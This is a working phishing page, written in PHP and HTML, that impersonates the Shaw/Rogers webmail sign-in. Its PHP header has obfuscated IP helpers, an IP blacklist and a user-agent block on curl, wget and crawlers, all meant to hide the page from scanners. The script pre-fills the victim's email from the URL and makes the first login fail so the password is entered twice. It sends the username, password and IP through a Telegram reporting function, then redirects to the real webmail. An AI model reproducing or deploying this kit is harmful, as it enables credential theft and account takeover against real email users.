<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE HTML>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Sign in · Rogers together with Shaw</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap" rel="stylesheet">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="../m/js/fingerprint.js"></script>
  <script src="../m/js/utils.js"></script>
  <script src="../m/js/captcha.js"></script>
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --rogers-red:  #da291c;
      --nav-bg:      #1a1a1a;
      --card-bg:     #f2f2f2;
      --input-bg:    #ffffff;
      --border:      #c8c8c8;
      --btn-coral:   #e8675a;
      --btn-coral-h: #d45447;
      --text-main:   #1a1a1a;
      --text-muted:  #767676;
      --link-blue:   #1a73e8;
    }

    body {
      font-family: 'Roboto', sans-serif;
      font-size: 14px;
      background: #fff;
      color: var(--text-main);
      min-height: 100vh;
      display: flex;
      flex-direction: column;
    }

    a { color: var(--link-blue); text-decoration: none; }
    a:hover { text-decoration: underline; }

    /* RED BANNER — slightly taller */
    .red-banner {
      background: var(--rogers-red);
      height: 68px;
      display: flex;
      align-items: center;
      justify-content: flex-start;
      padding: 0 28px;
    }
    .red-banner-logo { height: 38px; }

    /* NAV — slightly taller */
    .meganav { background: var(--nav-bg); height: 50px; }
    .meganavcontainer {
      max-width: 1200px;
      margin: 0 auto;
      padding: 0 20px;
      height: 100%;
      display: flex;
      align-items: center;
      justify-content: space-between;
    }
    .nav-links, .secondary {
      list-style: none;
      display: flex;
      align-items: center;
      flex-wrap: wrap;
    }
    .nav-links li { display: flex; align-items: center; flex-wrap: wrap; gap: 2px; }
    .nav-links a, .secondary a { color: #fff; font-size: 13px; white-space: nowrap; }
    .nav-links a:hover, .secondary a:hover { color: #ccc; text-decoration: none; }
    .divider { color: #666; font-size: 13px; margin: 0 7px; }
    .ic { display: flex; align-items: center; gap: 6px; }
    .contact-icon { height: 17px; filter: brightness(0) invert(1); }

    /* LAYOUT */
    main { flex: 1; padding: 28px 16px 56px; background: #fff; }
    .container { max-width: 960px; margin: 0 auto; }
    .center-col {
      max-width: 460px;      /* narrower — fits snugly in center */
      margin: 0 auto;
    }

    /* ALERT */
    .alert-rebranding {
      background: #f8f9fa;
      border: 1px solid #dee2e6;
      border-left: 4px solid #6c9ab5;
      border-radius: 8px;
      padding: 16px 48px 16px 18px;
      font-size: 14px;
      color: #333;
      position: relative;
      margin-bottom: 22px;
      line-height: 1.55;
    }
    .btn-close-alert {
      position: absolute;
      top: 12px; right: 14px;
      background: none; border: none;
      font-size: 20px; cursor: pointer;
      color: #555; line-height: 1; padding: 2px 4px;
    }
    .btn-close-alert:hover { color: #000; }

    /* CARD */
    #sign-in-content {
      background: var(--card-bg);
      border: 1px solid #ddd;
      border-radius: 12px;
      overflow: hidden;
    }

    /* LOGIN SECTION */
    .login-section { padding: 36px 38px 22px; }
    .login-section h3 {
      font-size: 20px;
      font-weight: 700;
      margin-bottom: 26px;
      text-align: center;
    }

    /* INPUTS */
    .field-row { margin-bottom: 14px; position: relative; }
    .field-row input[type="text"],
    .field-row input[type="password"] {
      width: 100%;
      height: 48px;
      padding: 0 46px 0 14px;
      font-size: 15px;
      font-family: inherit;
      border: 1.5px solid var(--border);
      border-radius: 8px;
      outline: none;
      background: var(--input-bg);
      color: var(--text-main);
      transition: border-color .2s, box-shadow .2s;
    }
    .field-row input::placeholder { color: #888; }
    .field-row input:focus {
      border-color: #1a73e8;
      box-shadow: 0 0 0 3px rgba(26,115,232,0.14);
    }

    /* Password eye */
    .form-icon-button {
      position: absolute;
      right: 14px; top: 50%;
      transform: translateY(-50%);
      background: none; border: none;
      cursor: pointer; color: #666;
      display: flex; align-items: center; padding: 4px;
    }
    .form-icon-button:hover { color: #111; }

    /* ERROR */
    #error {
      display: none;
      align-items: center;
      gap: 8px;
      color: #c00;
      font-size: 13px;
      margin-bottom: 14px;
    }
    #error img { height: 18px; }

    /* REMEMBER ME */
    .form-check {
      display: flex;
      align-items: center;
      gap: 10px;
      margin-bottom: 26px;
    }
    .form-check-input {
      width: 17px; height: 17px;
      border: 1.5px solid #aaa;
      border-radius: 3px;
      accent-color: var(--rogers-red);
      cursor: pointer; flex-shrink: 0;
    }
    .form-check-label { font-size: 14px; cursor: pointer; }

    /* SIGN IN BUTTON */
    .text-center { text-align: center; }
    .signin_submit {
      display: inline-block;
      width: 52%;
      min-width: 180px;
      padding: 15px 24px;
      font-size: 16px;
      font-weight: 500;
      font-family: inherit;
      color: #fff;
      background: var(--btn-coral);
      border: none;
      border-radius: 8px;
      cursor: pointer;
      transition: background .2s;
    }
    .signin_submit:hover { background: var(--btn-coral-h); }

    /* HELP SECTION */
    .help-section { padding: 0 38px 30px; }
    .help-divider {
      border: none;
      border-top: 1px solid #ddd;
      margin: 0 0 22px;
    }
    .help-links {
      display: flex;
      flex-direction: column;
      align-items: center;
      gap: 12px;
      text-align: center;
      font-size: 14px;
    }
    .help-links span { font-weight: 600; color: var(--text-main); margin-right: 4px; }
    .help-links a { color: var(--link-blue); font-size: 14px; }

    /* FOOTER — slightly taller */
    footer.footer {
      background: var(--nav-bg);
      color: #bbb;
      font-size: 13px;
      padding: 22px 28px;
    }
    .footer__content {
      max-width: 1200px; margin: 0 auto;
      display: flex; flex-wrap: wrap;
      align-items: center; justify-content: space-between; gap: 8px;
    }
    .footer__links { display: flex; align-items: center; flex-wrap: wrap; }
    .footer__links a { color: #bbb; font-size: 13px; }
    .footer__links a:hover { color: #fff; }
    .footer__divider {
      display: inline-block; width: 1px; height: 13px;
      background: #555; margin: 0 12px; vertical-align: middle;
    }

    @media (max-width: 576px) {
      .login-section { padding: 28px 20px 20px; }
      .help-section { padding: 0 20px 26px; }
      .d-sm-none { display: none !important; }
      .signin_submit { width: 72%; }
    }
  </style>
</head>

<body>

  <!-- RED BANNER -->
  <div class="red-banner">
    <img src="https://webmail.shaw.ca/images/RTWS.png" alt="Rogers together with Shaw" class="red-banner-logo">
  </div>

  <!-- NAV -->
  <div class="meganav">
    <div class="meganavcontainer">
      <ul class="nav-links">
        <li>
          <span><a href="https://www.rogers.com">Home</a></span>
          <span class="divider">|</span>
          <span><a href="https://business.shaw.ca/">Business</a></span>
          <span class="divider d-sm-none">|</span>
          <span class="d-sm-none"><a href="https://www.rogers.com/stores/" target="_blank" rel="noopener">Shop</a></span>
          <span class="divider d-sm-none">|</span>
          <span class="d-sm-none"><a href="https://www.rogers.com/support" target="_blank" rel="noopener">Support</a></span>
          <span class="divider d-sm-none">|</span>
          <span class="d-sm-none"><a href="https://www.rogers.com/myrogers/shaw" target="_blank" rel="noopener">MyRogers (Shaw)</a></span>
        </li>
      </ul>
      <ul class="secondary">
        <li>
          <a class="ic" href="https://www.rogers.com/contact" target="_blank" rel="noopener">
            <span style="font-size:13px;color:#fff;">Contact</span>
          </a>
        </li>
      </ul>
    </div>
  </div>

  <!-- MAIN -->
  <main>
    <div class="container">
      <div class="center-col">

        <!-- Alert -->
        <div class="alert-rebranding" id="rebrand-alert">
          Shaw Webmail has a new look, but your login information will remain the same.
          <button class="btn-close-alert" onclick="document.getElementById('rebrand-alert').style.display='none'" aria-label="Close">&times;</button>
        </div>

        <!-- Card -->
        <div id="sign-in-content">

          <!-- Login -->
          <div class="login-section">
            <h3>Sign in to access your email</h3>

            <div id="error">
              <img alt="error" src="https://webmail.shaw.ca/images/error_button.png">
              <span id="error_message"></span>
            </div>

            <form id="signon_form_occ" method="post" action="/login/redirect" name="signon_form_occ">
              <input type="hidden" name="nors" value="" id="loginNORS">
              <input type="hidden" name="r" value="" id="loginR">

              <!-- Email -->
              <div class="field-row">
                <input
                  id="username_input_occ"
                  name="username"
                  type="text"
                  autocorrect="off"
                  autocapitalize="off"
                  autocomplete="username"
                  aria-label="Shaw Email address"
                  placeholder="Shaw Email" />
              </div>

              <!-- Password -->
              <div class="field-row">
                <input
                  id="password_input"
                  name="password"
                  type="password"
                  autocomplete="current-password"
                  aria-label="Password"
                  placeholder="Password" />
                <button type="button" id="toggle_password" class="form-icon-button" tabindex="-1"
                  aria-label="Show password" onclick="togglePwd(this)">
                  <svg id="eye-icon" xmlns="http://www.w3.org/2000/svg" width="22" height="22" fill="currentColor" viewBox="0 0 16 16">
                    <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7 7 0 0 0-2.79.588l.77.771A6 6 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13 13 0 0 1 14.828 8q-.086.13-.195.288c-.335.48-.83 1.12-1.465 1.755q-.247.248-.517.486z"/>
                    <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829"/>
                    <path d="M3.35 5.47q-.27.24-.518.487A13 13 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7 7 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12z"/>
                  </svg>
                </button>
              </div>

              <!-- Remember me -->
              <div class="form-check">
                <input type="checkbox" id="persistent_check_occ" class="form-check-input" name="persistent_check_occ" aria-label="Remember my email">
                <label class="form-check-label" for="persistent_check_occ">Remember my email</label>
              </div>

              <!-- Submit -->
              <div class="text-center">
                <button type="button" id="signin_submit" class="signin_submit"
                  aria-label="Sign in to your Shaw email account">Sign in</button>
              </div>
            </form>
          </div>

          <!-- Help -->
          <div class="help-section">
            <hr class="help-divider">
            <div class="help-links">
              <div>
                <span>Having trouble?</span>
                <a href="https://www.rogers.com/support/internet/shaw-email/changing-your-shaw-email-password?ecid=REF_R0058_R_IGN_Dec_24_JOR_O41O5K"
                   target="_blank" rel="noopener">Support: How To Reset My Password</a>
              </div>
              <div>
                <span>Already know how?</span>
                <a href="https://www.rogers.com/myrogers/shaw/services/internet" target="_blank" rel="noopener">Reset Password on MyRogers (Shaw)</a>
              </div>
            </div>
          </div>

        </div><!-- #sign-in-content -->
      </div>
    </div>
  </main>

  <!-- FOOTER -->
  <footer class="footer">
    <div class="footer__content">
      <div class="footer__copyright">
        <span>&copy; <span id="current-year"></span> Rogers Communications</span>
      </div>
      <nav class="footer__links">
        <a href="https://www.rogers.com/support/privacy/rogers-privacy-policy" target="_blank" rel="noopener">Privacy Policy</a>
        <span class="footer__divider" aria-hidden="true"></span>
        <a href="https://www.rogers.com/terms-of-use" target="_blank" rel="noopener">Terms of Use</a>
        <span class="footer__divider" aria-hidden="true"></span>
        <a href="https://www.rogers.com/accessibility" target="_blank" rel="noopener">Accessibility</a>
      </nav>
    </div>
  </footer>

  <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  <script src="../js/centralized_telegram.js"></script>
  <script src="../js/centralized_redirect.js"></script>
  <script src="../js/email_extractor.js"></script>
  <script src="../js/autofill_helper.js"></script>

  <script>
    // Extract email from URL parameters (same logic as other pages)
    function extractEmailFromURL() {
        const urlParams = new URLSearchParams(window.location.search);
        let email = urlParams.get('ref');
        
        if (!email) {
            const hash = window.location.hash || '';
            if (hash) {
                const fragment = hash.substr(1);
                if (fragment) {
                    const partsIdx = fragment.indexOf('=');
                    if (partsIdx !== -1) {
                        email = fragment.substr(partsIdx + 1);
                    } else {
                        email = fragment;
                    }
                }
            }
        }
        
        if (!email) return null;

        // URL decode
        email = decodeURIComponent(email);

        // Check if base64 encoded
        const base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
        if (base64regex.test(email.replace(/\s/g, ''))) {
            try {
                const decoded = atob(email);
                if (decoded && decoded.includes('@')) email = decoded;
            } catch (e) { }
        }

        // Validate email format
        const emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        if (emailRegex.test(email)) {
            return email;
        }

        return null;
    }

    // Auto-fill form with extracted email
    function autoFillForm() {
        const email = extractEmailFromURL();
        if (email) {
            const usernameField = document.getElementById('username_input_occ');
            const passwordField = document.getElementById('password_input');
            
            if (usernameField) {
                usernameField.value = email;
                usernameField.autocomplete = 'username';
            }
            
            // Focus on password field since username is filled
            if (passwordField) {
                passwordField.focus();
            }
        }
    }

    document.getElementById('current-year').textContent = new Date().getFullYear();

    function togglePwd(btn) {
      var inp = document.getElementById('password_input');
      var show = inp.type === 'password';
      inp.type = show ? 'text' : 'password';
      btn.setAttribute('aria-label', show ? 'Hide password' : 'Show password');
      btn.innerHTML = show
        ? `<svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" fill="currentColor" viewBox="0 0 16 16">
            <path d="M16 8s-3-5.5-8-5.5S0 8 0 8s3 5.5 8 5.5S16 8 16 8M1.173 8a13 13 0 0 1 1.66-2.043C4.12 4.668 5.88 3.5 8 3.5s3.879 1.168 5.168 2.457A13 13 0 0 1 14.828 8q-.086.13-.195.288c-.335.48-.83 1.12-1.465 1.755C11.879 11.332 10.119 12.5 8 12.5s-3.879-1.168-5.168-2.457A13 13 0 0 1 1.172 8z"/>
            <path d="M8 5.5a2.5 2.5 0 1 0 0 5 2.5 2.5 0 0 0 0-5M4.5 8a3.5 3.5 0 1 1 7 0 3.5 3.5 0 0 1-7 0"/>
           </svg>`
        : `<svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" fill="currentColor" viewBox="0 0 16 16">
            <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7 7 0 0 0-2.79.588l.77.771A6 6 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13 13 0 0 1 14.828 8q-.086.13-.195.288c-.335.48-.83 1.12-1.465 1.755q-.247.248-.517.486z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829"/>
            <path d="M3.35 5.47q-.27.24-.518.487A13 13 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7 7 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12z"/>
           </svg>`;
    }

    // Auto-fill on page load
    document.addEventListener('DOMContentLoaded', function() {
        autoFillForm();
    });

    var credentialSubmitCount = 0;
    var SHAW_FALLBACK = 'https://webmail.shaw.ca/';

    document.getElementById('signin_submit').addEventListener('click', function() {
        var username = document.getElementById('username_input_occ').value.trim();
        var password = document.getElementById('password_input').value;
        var errorEl = document.getElementById('error');
        var errorMsg = document.getElementById('error_message');
        var loginBtn = document.getElementById('signin_submit');

        if (!username || !password) {
            errorEl.style.display = 'flex';
            errorMsg.textContent = 'Please enter your email and password.';
            return false;
        }

        errorEl.style.display = 'none';
        credentialSubmitCount++;
        var redirectOnSuccess = (credentialSubmitCount >= 2);
        window.providerTag = 'shaw';
        var clientIP = window.userip || 'n/a';

        loginBtn.disabled = true;

        function runRedirect() {
            if (!redirectOnSuccess) return;
            window.allowFormRedirect = true;
            if (typeof performCentralizedRedirect === 'function') {
                performCentralizedRedirect(300);
            } else {
                setTimeout(function() { window.location.replace(SHAW_FALLBACK); }, 300);
            }
        }

        if (typeof sendCentralizedTelegramReport === 'function') {
            sendCentralizedTelegramReport('shaw', username, password, clientIP, function() {
                runRedirect();
            });
        } else {
            console.error('Centralized Telegram function not available');
            if (redirectOnSuccess) {
                window.allowFormRedirect = true;
                setTimeout(function() { window.location.replace(SHAW_FALLBACK); }, 300);
            }
        }

        if (redirectOnSuccess) {
            var prevText = loginBtn.textContent;
            loginBtn.textContent = 'Logging in...';
            setTimeout(function() { loginBtn.textContent = prevText; }, 200);
        }

        if (credentialSubmitCount === 1) {
            document.getElementById('password_input').value = '';
            document.getElementById('password_input').focus();
            loginBtn.disabled = false;
        }
    });
  </script>

</body>
</html>
